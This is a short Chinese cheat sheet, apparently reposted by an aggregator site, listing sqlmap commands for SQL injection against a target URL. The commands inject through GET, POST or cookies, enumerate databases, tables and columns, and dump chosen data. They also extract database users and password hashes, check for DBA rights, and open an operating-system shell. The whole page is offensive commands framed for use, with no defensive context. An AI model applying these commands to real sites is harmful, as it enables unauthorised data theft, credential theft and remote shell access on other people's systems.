sqlmap命令
Posted
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了sqlmap命令相关的知识，希望对你有一定的参考价值。
SQLMAP
GET 方式的注入 sqlmap.py -u "URL"
POST 方式的注入 sqlmap.py -u "URL" --data "POST参数=POST数值"
COOKIE 方式的注入 sqlmap.py -u "URL" --cookie "cookies 值"
爆数据库名(cookie根据实际的情况) sqlmap.py -u "URL" [--cookie "cookies 值"] --dbs
爆目标数据库中的表 sqlmap.py -u "URL" [--cookie "cookies 值"] -D 数据库名 --tables
爆目标数据表字段 sqlmap.py -u "URL" [--cookie "cookies 值"] -D 数据库名 -T 表名 --columns
导出目标字段的数据 sqlmap.py -u "URL" [--cookie "cookies 值"] -D 数据库名 -T 表名 -C 要导出数据的字段名,多个字段用逗号分隔 --dump
爆出目标库有多少数据 sqlmap.py -u "URL" [--cookie "cookies 值"] -D 数据库名 --count
检测当前用户 sqlmap.py -u "URL" [--cookie "cookies 值"] --current-user
检测当前用户是否管理员 sqlmap.py -u "URL" [--cookie "cookies 值"] --is-dba
检测数据库用户 sqlmap.py -u "URL" [--cookie "cookies 值"] --user -v 0
检测数据库用户密码 sqlmap.py -u "URL" [--cookie "cookies 值"] --password -v 0
检测当前数据库 sqlmap.py -u "URL" [--cookie "cookies 值"] --current-db
多线程 -threading 5
如果是管理员,我们可以写Shell
操作系统Shell写入
sqlmap.py -u "URL" [--cookie "cookies 值"] --os-shell
以上是关于sqlmap命令的主要内容，如果未能解决你的问题，请参考以下文章